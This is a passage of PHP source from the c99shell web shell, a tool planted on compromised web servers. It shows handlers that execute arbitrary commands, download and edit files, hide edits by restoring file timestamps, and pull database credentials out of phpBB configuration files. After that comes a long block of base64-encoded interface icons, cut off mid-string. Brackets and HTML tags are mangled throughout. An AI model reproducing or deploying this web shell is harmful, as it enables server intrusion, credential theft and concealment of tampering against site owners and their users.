elseif ($ft == "txt") (echo "pre".htmlspecialchars ($r)."/pre";)
elseif ($ft == "ini") (echo "pre"; var_dump (parse_ini_file ($d.$f,true)); echo "/pre";)
elseif ($ft == "phpsess")
(
echo "pre";
$v = explode ("|",$r);
echo $v (0)."br";
var_dump (unserialize ($v (1)));
echo "/pre";
)
elseif ($ft == "exe")
(
$ext = explode (".",$f);
$c = count ($ext)-1;
$ext = $ext ($c);
$ext = strtolower ($ext);
$rft = "";
foreach ($exeftypes as $k=$v)
(
if (in_array ($ext,$v)) ($rft = $k; break;)
)
$cmd = str_replace ("%f%",$f,$rft);
echo "bexecute file:/bform action=\"".$surl."act=cmd\" method=\"post\"input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars ($cmd)."\" size=\"". (strlen ($cmd)+2)."\"brdisplay in text-areainput type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checkedinput type=\"hidden\" name=\"d\" value=\"".htmlspecialchars ($d)."\"brinput type=\"submit\" name=\"submit\" value=\"execute\"/form";
)
elseif ($ft == "sdb") (echo "pre"; var_dump (unserialize (base64_decode ($r))); echo "/pre";)
elseif ($ft == "code")
(
if (ereg ("phpbb 2. (.*) auto-generated config file",$r))
(
$arr = explode ("\n",$r);
if (count ($arr == 18))
(
include ($d.$f);
echo "bphpbb configuration is detected in this file!br";
if ($dbms == "mysql4") ($dbms = "mysql";)
if ($dbms == "mysql") (echo "a href=\"".$surl."act=sql&sql_server=".htmlspecialchars ($dbhost)."&sql_login=".htmlspecialchars ($dbuser)."&sql_passwd=".htmlspecialchars ($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars ($dbname)."\"buconnect to db/u/b/abrbr";)
else (echo "but, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. please, report us for fix.";)
echo "parameters for manual connect:br";
$cfgvars = array ("dbms"=$dbms,"dbhost"=$dbhost,"dbname"=$dbname,"dbuser"=$dbuser,"dbpasswd"=$dbpasswd);
foreach ($cfgvars as $k=$v) (echo htmlspecialchars ($k)."='".htmlspecialchars ($v)."'br";)
echo "/bhr size=\"1\" noshade";
)
)
echo "div style=\"border: 0px solid #ffffff; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background.";\"";
if (!empty ($white)) (@ob_clean ();)
highlight_file ($d.$f);
if (!empty ($white)) (exit;)
echo "/div";
)
elseif ($ft == "download")
(
@ob_clean ();
header ("content-type: application/octet-stream");
header ("content-length: ".filesize ($d.$f));
header ("content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
)
elseif ($ft == "notepad")
(
@ob_clean ();
header ("content-type: text/plain");
header ("content-disposition: attachment; filename=\"".$f.".txt\";");
echo ($r);
exit;
)
elseif ($ft == "img")
(
$inf = getimagesize ($d.$f);
if (!$white)
(
if (empty ($imgsize)) ($imgsize = 20;)
$width = $inf (0)/100*$imgsize;
$height = $inf (1)/100*$imgsize;
echo "centerbsize:/b ";
$sizes = array ("100","50","20");
foreach ($sizes as $v)
(
echo "a href=\"".$surl."act=f&f=".urlencode ($f)."&ft=img&d=".urlencode ($d)."&imgsize=".$v."\"";
if ($imgsize!= $v ) (echo $v;)
else (echo "u".$v."/u";)
echo "/a ";
)
echo "brbrimg src=\"".$surl."act=f&f=".urlencode ($f)."&ft=img&white=1&d=".urlencode ($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"/center";
)
else
(
@ob_clean ();
$ext = explode ($f,".");
$ext = $ext (count ($ext)-1);
header ("content-type: ".$inf ("mime"));
readfile ($d.$f);
exit;
)
)
elseif ($ft == "edit")
(
if (!empty ($submit))
(
if ($filestealth) ($stat = stat ($d.$f);)
$fp = fopen ($d.$f,"w");
if (!$fp) (echo "bcan't write to file!/b";)
else
(
echo "bsaved!/b";
fwrite ($fp,$edit_text);
fclose ($fp);
if ($filestealth) (touch ($d.$f,$stat (9),$stat (8));)
$r = $edit_text;
)
)
$rows = count (explode ("\r\n",$r));
if ($rows 10) ($rows = 10;)
if ($rows 30) ($rows = 30;)
echo "form method=\"post\"input type=\"submit\" name=\"submit\" value=\"save\" input type=\"reset\" value=\"reset\" input type=\"button\" onclick=\"location.href='".addslashes ($surl."act=ls&d=".substr ($d,0,strlen ($d)-1))."';\" value=\"back\"brtextarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\"".htmlspecialchars ($r)."/textarea/form";
)
elseif (!empty ($ft)) (echo "centerbmanually selected type is incorrect. if you think, it is mistake, please send us url and dump of \$globals./b/center";)
else (echo "centerbunknown extension (".$ext."), please, select type manually./b/center";)
)
)
)
else
(
@ob_clean ();
$images = array (
"arrow_ltr"=
"r0lgodlhjgawaiaaaaaaap///yh5bauuaaealaaaaaamabyaaaivji+py+0pf4i0gvvzuvxxdnoq".
"siruzgzoerkf28kjpnpoaku5rfz+uqskh8riogaaow==",
"back"=
"r0lgodlhfaauakiaaaaaap///93d3cdawiaghgqebp///waaach5baeaaayalaaaaaauabqaaam8".
"alrc/jdkswwpjvyssniyj4cuobjoqjniilzwuzltyn/3zbserf6kbw+gkriprghph+efk0moueqt".
"wg0jads=",
"buffer"=
"r0lgodlhfaauakiaaaaaap////j4+n3d3czmzlkysoaghv///yh5baeaaacalaaaaaauabqaaano".
"elrcribg90y4f1amu5+nhy2kxl2cmkwrqrsguvjp4lmwdawqiagfxchg+xhnrb+ptlohai1cremd".
"dlwv4cec46mi2ygjqkaxsegdfnngwwdtezj9jrprdbhug8cr/2inzioehxsbdwkaow==",
"change"=
"r0lgodlhfaauamqfal3hj7nx+pqo1ejy/f7yactb+8vh+6fth56wztvr/raqezecx9ll/px6/v3+".
"/3eht6q88ehu/zkfh3yvyiuqt+72/kom99fo/p8azm57rkgs4hez6pil9oep3gzmzv///yh5baea".
"ab8alaaaaaauabqaaawf4ceozgme6nmtloulx+c4tvnvq7e9qfzfg4hfonkdja5s54cbraofyeoc".
"wsiutmykkrgwoaea5zrqalldbinmijed266xytgqdm5rx8mdg+oabsydah4ga3c8jbmjaxqgbqga".
"chkje4aqkq0alsitan+zaqqkiiqpj1afaamkekyjd39qrkwkaa8ngqk8agu/cxtcscmexsfixjdl".
"zmshads=",
"delete"=
"r0lgodlhfaauaozzapz8/npfynghls0yovpz8/b29sacpnxv1fx19cwxofdw8kenp/n5+etgeunp".
"6dcglmmprurq6pksktvb2+/v7+1wh3r0dpnp17iaipxyel9fx7djcscsm93d3zgrkeestevd4lcw".
"sgrkzgpou+ifq+eqnoh6fdicpehh4ywfhbjqyvly8ui+xm5ubsxccox8kcm4uty9weadqymjifwv".
"vhx8fmnjycm3uf3v8rrue98onbozs9yfk5sulkyop+tk5n0osufn57zgwsqrr9kil5cqkopj42vl".
"zeapnudax9skmpv7+15qu5ubm39/f8e5u4xiatra2ubkz8pdw+pfee9/lmk0t81rfd8akf///waa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaach5".
"baeaafkalaaaaaauabqaaaesgfmcg4sfhoeihiufiimimlgqb46glalyqkafvvhsaizlt5cbeyi4".
"sto5mxofhqwba1gychckqbk1owiialaclkgxjiltbi69rfhdfh4hdjrzvfgppfbr0fknwddmha8g".
"bztamcisvgmc4ikvwccapsi96oqgnfhki04dgr0qwfckdl3a4uoijvzzabxqiwdblkieqrroqshq".
"jwvfhbgiegqfigqasykcsbjqiaa7",
"download"=
"r0lgodlhfaaualmiaad/aacaaiaaamdawh9/f/8aap///waaap///waaaaaaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaagalaaaaaauabqaaaroemljq704uygovklhfvu4kpojspx5nf9yictlf0suh7pu".
"eyogcbgkwaigphkzzb2jxadasqfcidqjsmfdgqsdjnoqlxtp38przwbx3qgiads=",
"forward"=
"r0lgodlhfaauapiaaaaaap///93d3cdawiaghgqebp///waaach5baeaaayalaaaaaauabqaaam8".
"alrc/jdk2qp9xv5win5g50fzarld6ihe66lpt3rdbd9cqfse4p++qw7he7ukph0iqvw2l0rqseqt".
"wqsjads=",
"home"=
"r0lgodlhfaaualmaaaaaap///+rq6t3d3czmzlkysoaghmzmzgqebp///waaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaakalaaaaaauabqaaar+mmk5ttwi6ipymoo3cuwrgejoccaloko0mq0zxjnsbdws".
"krqaslfj7yqbl4tircyfsppmdrrcoqoil4i8cgzgk09wfwlbyzhb6uwjcequwedhuoevk3qtgn/j".
"vwmrbdzvgf+chhageyicbqyhch8vbjawdaesl5yiw5+gobirads=",
"mode"=
"r0lgodlhhqaualmaaaaaap///6cgpn3d3czmziaghmzmzl9fx////waaaaaaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaagalaaaaaadabqaaasbemljq70461m6/+ahzmugngiqninwhhasz3f7fugu73xo".
"2bzcwgdoexk/uq4icaceq6fzmxtlns0ddle99b7cfvyper55z10xy1lkt8wpoisacrdaqbpyeyk/".
"dh1lrwiee0prtxbvvhwud3o6ed6ohasxmjmamjusy5+gnxujpbirads=",
"refresh"=
"r0lgodlheqaualmaaaaaap////hx8erq6upj493d3czmzlkysoaghmzmzl9fxwqebp///waaaaaa".
"aaaaach5baeaaawalaaaaaarabqaaar1kmljq0q460xr+gaoimvkheiylmyjbkj8lm6yxmki6zwy".
"3akcybjo/y4eqqfgkiyuh8evuwq6pwpfqjpulpunrxzlrykx20g3oda7093esv19q5o/wofu9zaj".
"r3lufmwcvx13h3khfwwmjgbdkpouttuxmjgrads=",
"search"=
"r0lgodlhfaaualmaaaaaap///+rq6t3d3czmzmdawlkysoaghnd3d2zmzl9fx01ntskpkqqebp//".
"/waaach5baeaaa4alaaaaaauabqaaasn0ml5qj0z5xr6+jzgeuzphiqrnoirfiyiy+a6vcophoap".
"s5ikqccz8xgk4eggqqwmvkrsscylhoafvmuzlgudanzxebmodsnrkhiscz4cgruwma+lldxushsd".
"akn4c3sfbx10vhabj4qfa4eiu4pijqcfmcvonkflggcmrscnsucdjyhodasnz5mtdvsxbwlvirmr".
"cbq7c6sirqawrkwtv68iya6rdheaow==",
"setup"=
"r0lgodlhfaauamqaaaaaap////j4+opj493d3czmzmdawlkyspawloaghnd3d2zmzl9fx01ntujc".
"qhwchp///waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaach5baea".
"abaalaaaaaauabqaaawvicskikkwadmushcubjzmweoghvvsfheenryogegljkeg0pf4kbifrmib".
"qcacj4eigqvoivwstfqoxmfoufmmzrgz2gndpgii7gjdlyerwg1vgw8ccqtzghijanafhyt2dwqe".
"owcmzoz0kjkulzeodqkbpgedjzmhnacjlqaiquesmiikpeixnyjhulumhg24aso6yyeaow==",
"small_dir"=
"r0lgodlhewaqalmaaaaaap///5ycam7oy///np//zv/onpf39////waaaaaaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaagalaaaaaatabaaaarremljq7046yp6bxsihevbeakycuprdp7hlxrdeomqcebp".
"/4ychffzgqhh4yrypb2dolhpikwqd1pq8yrvvg3qyeh5ryk5rjfafuua3vb4fbibads=",
"small_unk"=
"r0lgodlheaaqahcaach5baeaajualaaaaaaqabaahwaaaiep3be9mllic3b5ivpjdmvh/mlc+y1u".
"p9pm/gvufc7j/mzv/9xm/eom99bn/njp/a7q+ttm/lhs+exw/t3r/nnp/djo/nrq/fj7/9vq/nfo".
"/mbe+8rh/mng+7jw+rvy+r7z+7xr9ddk/nhk/nll/ltu+rnx+8zi/lbv++fx/e72/vh3/vl4/u31".
"/e31/udu/dzr/orz/ehu/fx6/vh4/v////v+/3ez6vf7//t5/kgs4pv9/7xv+rht+r/b+rza+vp4".
"/uz0/urz/u71/uvz/dtn/m/k/n3s/dvr/cjg+8pd+8hc+sff+8te+/d2/rxi8rhf8brm87fj8nmp".
"wr3n86/d8kvb8f9neefotebntenptenptsxupx1iodlfrtrcrzeeyzacxpmhziurtpwzxiuoukqz".
"9zowwx6is3wiu5im07rj9j2t2zek0m57rpqo1nkctuvrtyir3vf6/46v4yuu4wzvfr7p6sps6sdq".
"66xb6cjz8a/k79/s/dbn/ezz/czd9mn0jktb6ai/76w97nixz2gcwv6awudstxyvygsdwnmyz4io".
"24oi1a3b45sy4ae944ccz4sj1n2glgaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aajnactvckcw4jxjaqqqfbjaxo0mngqsabqah6cfa3nk0mhirrevdhzsolqwaj0gt4toecshaymz".
"aqgodnccsb4eanimcisbjuyglobgxbtpkaa5i6pgmskdz5cumsz8ywlayoczfgb4sqkhasmbxjpm".
"usrqeqwkgjykqctay6alumhwklqbw4mehgsa6xpgrxs5ii40klfgi4bgtekasckxihesczrsgsqc".
"yikuv+sqoylca4csaup86ogdknw4bpq4oabfgb0teyiukqdwtrs4a9ymcsomdboyzu4sjkcgwidj".
"yasokbkqads=",
"multipage"="r0lgodlhcgamajedap/////3mqaaaaaaach5baeaaamalaaaaaakaawaaaij3ir".
"pjhcodnovidaovbdmzzkixlxdli2ozpjwessywlzruaaaow==",
"sort_asc"=
"r0lgodlhdgajakiaaaaaap///9tqyicagp///waaaaaaaaaaach5baeaaaqalaaaaaaoaakaaama".
"slrcpce9gkuaqlq5sn5ploflj35ook6q5syaow==",
"sort_desc"=
"r0lgodlhdgajakiaaaaaap///9tqyicagp///waaaaaaaaaaach5baeaaaqalaaaaaaoaakaaamb".
"slrcojbcb4uvitgylt5ch2mgsjzdbi7p6hijads=",
"sql_button_drop"=
"r0lgodlhcqalapcaaaaaaiaaaacaaicaaaaagiaagacagicagmdawp8aaad/ap//aaaa//8a/wd/".
"/////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamwaazgaamqaazaaa/wazaaazmwazzgazmqazzaaz/wbm".
"aabmmwbmzgbmmqbmzabm/wczaaczmwczzgczmqczzacz/wdmaadmmwdmzgdmmqdmzadm/wd/aad/".
"mwd/zgd/mqd/zad//zmaadmamzmazjmamtmazdma/zmzadmzmzmzzjmzmtmzzdmz/znmadnmmznm".
"zjnmmtnmzdnm/zozadozmzozzjozmtozzdoz/zpmadpmmzpmzjpmmtpmzdpm/zp/adp/mzp/zjp/".
"mtp/zdp//2yaagyam2yazmyamwyazgya/2yzagyzm2yzzmyzmwyzzgyz/2zmagzmm2zmzmzmmwzm".
"zgzm/2azagazm2azzmazmwazzgaz/2bmagbmm2bmzmbmmwbmzgbm/2b/agb/m2b/zmb/mwb/zgb/".
"/5kaajkam5kazpkamzkazjka/5kzajkzm5kzzpkzmzkzzjkz/5lmajlmm5lmzplmmzlmzjlm/5mz".
"ajmzm5mzzpmzmzmzzjmz/5nmajnmm5nmzpnmmznmzjnm/5n/ajn/m5n/zpn/mzn/zjn//8waamwa".
"m8wazswamcwazmwa/8wzamwzm8wzzswzmcwzzmwz/8xmamxmm8xmzsxmmcxmzmxm/8yzamyzm8yz".
"zsyzmcyzzmyz/8zmamzmm8zmzszmmczmzmzm/8z/amz/m8z/zsz/mcz/zmz///8aap8am/8azv8a".
"mf8azp8a//8zap8zm/8zzv8zmf8zzp8z//9map9mm/9mzv9mmf9mzp9m//+zap+zm/+zzv+zmf+z".
"zp+z///map/mm//mzv/mmf/mzp/m////ap//m///zv//mf//zp///yh5baeaabaalaaaaaajaasa".
"aag4ap8jrefq4d+ccboi4mawitefcg/iqhepxcsblfcoq5fx4mskv1bgrggmo0ijfc2ehhjsomt/".
"aqeaow==",
"sql_button_empty"=
"r0lgodlhcqakapcaaaaaaiaaaacaaicaaaaagiaagacagicagmdawp8aaad/ap//aaaa//8a/wd/".
"/////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamwaazgaamqaazaaa/wazaaazmwazzgazmqazzaaz/wbm".
"aabmmwbmzgbmmqbmzabm/wczaaczmwczzgczmqczzacz/wdmaadmmwdmzgdmmqdmzadm/wd/aad/".
"mwd/zgd/mqd/zad//zmaadmamzmazjmamtmazdma/zmzadmzmzmzzjmzmtmzzdmz/znmadnmmznm".
"zjnmmtnmzdnm/zozadozmzozzjozmtozzdoz/zpmadpmmzpmzjpmmtpmzdpm/zp/adp/mzp/zjp/".
"mtp/zdp//2yaagyam2yazmyamwyazgya/2yzagyzm2yzzmyzmwyzzgyz/2zmagzmm2zmzmzmmwzm".
"zgzm/2azagazm2azzmazmwazzgaz/2bmagbmm2bmzmbmmwbmzgbm/2b/agb/m2b/zmb/mwb/zgb/".
"/5kaajkam5kazpkamzkazjka/5kzajkzm5kzzpkzmzkzzjkz/5lmajlmm5lmzplmmzlmzjlm/5mz".
"ajmzm5mzzpmzmzmzzjmz/5nmajnmm5nmzpnmmznmzjnm/5n/ajn/m5n/zpn/mzn/zjn//8waamwa".
"m8wazswamcwazmwa/8wzamwzm8wzzswzmcwzzmwz/8xmamxmm8xmzsxmmcxmzmxm/8yzamyzm8yz".
"zsyzmcyzzmyz/8zmamzmm8zmzszmmczmzmzm/8z/amz/m8z/zsz/mcz/zmz///8aap8am/8azv8a".
"mf8azp8a//8zap8zm/8zzv8zmf8zzp8z//9map9mm/9mzv9mmf9mzp9m//+zap+zm/+zzv+zmf+z".
"zp+z///map/mm//mzv/mmf/mzp/m////ap//m///zv//mf//zp///yh5baeaabaalaaaaaajaaoa".
"aagjap8jrefq4d+ccboimmhqockdebcujeirossbfjfenohwyuaaow==",
"sql_button_insert"=
"r0lgodlhdqamapcaaaaaaiaaaacaaicaaaaagiaagacagicagmdawp8aaad/ap//aaaa//8a/wd/".
"/////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamwaazgaamqaazaaa/wazaaazmwazzgazmqazzaaz/wbm".
"aabmmwbmzgbmmqbmzabm/wczaaczmwczzgczmqczzacz/wdmaadmmwdmzgdmmqdmzadm/wd/aad/".
"mwd/zgd/mqd/zad//zmaadmamzmazjmamtmazdma/zmzadmzmzmzzjmzmtmzzdmz/znmadnmmznm".
"zjnmmtnmzdnm/zozadozmzozzjozmtozzdoz/zpmadpmmzpmzjpmmtpmzdpm/zp/adp/mzp/zjp/".
"mtp/zdp//2yaagyam2yazmyamwyazgya/2yzagyzm2yzzmyzmwyzzgyz/2zmagzmm2zmzmzmmwzm".
"zgzm/2azagazm2azzmazmwazzgaz/2bmagbmm2bmzmbmmwbmzgbm/2b/agb/m2b/zmb/mwb/zgb/".
"/5kaajkam5kazpkamzkazjka/5kzajkzm5kzzpkzmzkzzjkz/5lmajlmm5lmzplmmzlmzjlm/5mz".
"ajmzm5mzzpmzmzmzzjmz/5nmajnmm5nmzpnmmznmzjnm/5n/ajn/m5n/zpn/mzn/zjn//8waamwa".
"m8wazswamcwazmwa/8wzamwzm8wzzswzmcwzzmwz/8xmamxmm8xmzsxmmcxmzmxm/8yzamyzm8yz".
"zsyzmcyzzmyz/8zmamzmm8zmzszmmczmzmzm/8z/amz/m8z/zsz/mcz/zmz///8aap8am/8azv8a".
"mf8azp8a//8zap8zm/8zzv8zmf8zzp8z//9map9mm/9mzv9mmf9mzp9m//+zap+zm/+zzv+zmf+z".
"zp+z///map/mm//mzv/mmf/mzp/m////ap//m///zv//mf//zp///yh5baeaabaalaaaaaanaawa".
"aagzafeiheiwomgdcbh6w0gtoub//1benoip2skeczneniiqy0d/fbf+y0jr48eqguc6jbgqads=",
"up"=
"r0lgodlhfaaualmaaaaaap////j4+opj493d3czmzlkysoaghk1ntf///waaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaakalaaaaaauabqaaar0mmljq734ns1pnkcgjgxwhcnqrivhmfonzxwqjnie27jg".
"+4qgy3xgbx4iohdlmhrvggfigiswws5xydftwplej+9hqcyx2c1yedrfwwfxtop4p53pwlkojvvv".
"ixtdgwgdpgdyfng1ivejatiakpoulzyfhxeaow==",
"write"=
"r0lgodlhfaaualmaaaaaap///93d3czmzlkysoaghmzmzl9fxwqebp///waaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaakalaaaaaauabqaaar0mmljqyzfalqeqjugeqscnwg6fogpkhamf4hajswh7/ze".
"eqyqluasggm0wwt3bcjfqsfx10yybljn8rfemgm9x+3qhwq5ied5ycsmcl111kndpuxfyls+ik61".
"lxd+wwehlud/tojfzqooj5crjicblzaxibeaow==",
"ext_asp"=
"r0lgoddheaaqalmaaaaaaiaaaacaaicaaaaagiaagacagmdawicagp8aaad/ap//aaaa//8a/wd/".
"/////ywaaaaaeaaqaaaesvdisasf2n6dmnas8bxfl1uiozye9auwgpdtq6qp/ix0oz7axu/1ergi".
"d6hphzjselydyabsdcwmzwhg3wwtkk4qrmhohcas+habads=",
"ext_mp3"=
"r0lgodlheaaqaciaach5baeaaayalaaaaaaqabaaggaaap///4cagmdawicaap//aaaaaaaaaanu".
"agrs7iukqgsyiqpp6qizrdqwyailqqsa2g2o4qoashgwvbban3gx1qxa+r1abqhrzhmedsycz3fc".
"igtgt8wauwltzwwnwrv3ldnxym1ub6gnedwbads=",
"ext_avi"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaaggaaap///4cagmdawp8aaaaaaaaaaaaaaanm".
"wfrs7iukqgsyiqpp6qiz1ffacyijb4rmqjby01dwwg44gasrp5qfk24huohodjwsu/ihbytcjxe4".
"pyxcyg+v2i44xermsfyqsghaaga7",
"ext_cgi"=
"r0lgodlheaaqagyaach5baeaaewalaaaaaaqabaahgaaajtqchd3d7inga+hmu7er9gic6+ioou9".
"dkjapqyfqql/n/dlhsyyfe67af/sfp/8kf/9ld9etv/pcv/cq//env/xif/zkp/rdv/blf/cmah6".
"lppyrvzgr+vgx7yvmv/luv/mtv/fof/mav/mcf/na//qif/map/tff/xp7uzvf/wip/obqt/hv/s".
"ev/hp+7oop/whv/wbhnfp4vzv7upfv/pv//rxf/ycf/zdv/0eunjwenkwsykik9rwmytp//4iepq".
"xv/9qfbptp/uz93ginq6xwprj//iqv7wsqueqv/jraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaeegeycg0wbhiehayqijaewhoyeaqqxbjcrhqmua5esioogiwafi4um".
"bagnfbmcdr4fqwwbagegsbbefswxnhaygg6wakwcbagvfiuiobegnuc7w4icnd8pkcfaoi0jpnkd".
"akungtkrnwms34mbjbgdrkjlcd7qggepkxsjkiytbwejkjhqkk7ahxq9fqglmgbgkg8kfcg8jkai".
"rytmageaow==",
"ext_cmd"=
"r0lgodlheaaqaciaach5baeaaacalaaaaaaqabaaggaaap///4cagmdawaaagicaap//aaaaaani".
"elrcjzdkcye9+aogbvlg+g2dsaqaipid5xjdim+0znjfkdl3dbg6hmxwmeaahvlpbhgydryhdqcn".
"dmryamn1onq/ykpjvegaads=",
"ext_cpp"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaagv///waaaaaagicagmdawaaaaaaaaaaaaanc".
"wlpc9xcasscz8mlkicobbwrkeikvywqt4ficoj5v7c6s3cqrarwine/349finofw44rtlqhol4ra".
"eq7yrlde7a4sads=",
"ext_ini"=
"r0lgodlheaaqaciaach5baeaaayalaaaaaaqabaaggaaap///8dawicagicaap//aaaaaaaaaanl".
"aarb3ioankk9mnbhs6lbkiocoi1ouj4n4dcqqybpum6hq8p3hwoegu3mawelbeapfiauamgyy3vm".
"snejgpvarhehgrb43jvszsqeads=",
"ext_diz"=
"r0lgodlheaaqahcaach5baeaajualaaaaaaqabaahwaaap///15phcfb6nls/7pc/+p0/3j+l9bs".
"/52nuqjk5/n///j///7///r//0trlspn/8nn/8nz5trm79nu/8/q/9xt/9zw/93w/+j1/9hr/+dv".
"/d7v/73h0mju39zu/9br/8ne8txn+k6/z8xj/ljv7ddp/6k4y8bl/5o42oz2/7hw9ju92u/9/8t3".
"/+l//+7+/+v6/+/6/9h4/+x6/+xl5pz//+/t7fx08vd//+3///p///h///p7/8nq/8fp/8tl98zr".
"/+/z9vt4++n1/b/k/dny/9hv/+v4/9/0/9fw/8/u/8vt/+/09xuvxhqtw4kts2v1kw4ovtdypdzx".
"pvxqhlxqiexkimkbtmpl2ftvj2ov6aouwpqlulyn3cno1waaxqaazsm8je5xjgaabwaaeurbygaa".
"daaadzzeae9wwdzypmvvir49jg12kchfmgyuj6+1xeln7nzj6pm20oeqyps212sjracyxzwyz7pw".
"9c/o/87n/8dx7mhy7q/k5lfx9arb1srl/2+fzq290u14q7fcz6e2yxum30fjlclhc4exr6bi+btk".
"4rfw+nxe6oby/5svzwshr+br8wukrqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aajgacsjrdrhsicdq7imxdgjx8evzuicbpboozwbbwomafmmywbca2secnbjjcmyatlioliokocm".
"c1qskaclcxcgbj7esnhoqaciscc1mnamjjgggebqobhigkenbjhccbaizrogfkwqmnknyggrsrag".
"2bhpdbueewrv0pdhcp4bsgjw0zghzjqcevd4iehjzykbfo4seygldbwgtcaayvfe4kebjyi4urpf".
"cyiik+woyjmwqqi6cor8mkenxr0nahykjhjfqyeckqsksa164im6lhlrrr3wwabcu3kpfkcldkaa".
"ow==",
"ext_doc"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaaggaaap///8dawaaa/4cagaaaaaaaaaaaaanr".
"wercrrcqqcslqa2wowdxkifwnvba+nme4azcuolnrwkwf9qgeopafg21a+z4sqho94r1ejrtjvmq".
"miorrpswwzrcza6kaolbcob0woxrud0jads=",
"ext_exe"=
"r0lgodlhewaoakiaaaaaap///waavcbgxosehp///waaaaaaach5baeaaaualaaaaaataa4aaam7".
"wltctiwsqautbeq1hp+gl21tkaqaio7s8lxag8x0pbocrqf4tnu9wa8whnkkrl4sl+y9ybuadeqt".
"xhiaow==",
"ext_h"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaagv///waaaaaagicagmdawaaaaaaaaaaaaanb".
"wlpc9xcasscz8mlkccarrwvkeakcibkmnqvrq7wpbmmbbbonrgi8f+q3w9goqomqgzyjospnmkko".
"wq/nknbbsgaaow==",
"ext_hpp"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaagv///waaaaaagicagmdawaaaaaaaaaaaaanf".
"wlpc9xcasscz8mlkicobbwrkeagciakeqafqpbznmk42/d43yrokmladlpbis6lwknafj7jfawvr".
"uquagnbldza+yfccads=",
"ext_htaccess"=
"r0lgodlheaaqaciaach5baeaaayalaaaaaaqabaaggaaap8aap8a/waagiaagp//aaaaaaaaaam6".
"wexw/k6ragsjmfoygnbbewjdb25dgzzvckgsr8lhsnprpq406pafmkdwuumivjboraaaleudewpj".
"aaa7",
"ext_html"=
"r0lgodlhewaqalmaaaaaap///2trnm3p/fbvhrpo9l6itoyt0yhgk+xy/wgp4sxl/i6z4mfd/hnz".
"c////yh5baeaaa8alaaaaaatabaaaast8ml3qq1m6nmc/4ghbfoxjeo1candsocigkbachi20u3p".
"kifgijaqodsibwo5naxrrmtggdgkmm7e6iiphzykbvnqsbsikuksww4jymcupyfgibql/mk8kbdk".
"bkx2bxwdfx8tddafda0kbad9fnikhxyibjghbqohcg+vcikva5wlpygbbkurdqysnxmos7s1sxir".
"ads=",
"ext_jpg"=
"r0lgodlheaaqadmaach5baeaaakalaaaaaaqabaagwaaap///8dawicagicaap8aaad/aiaaaaca".
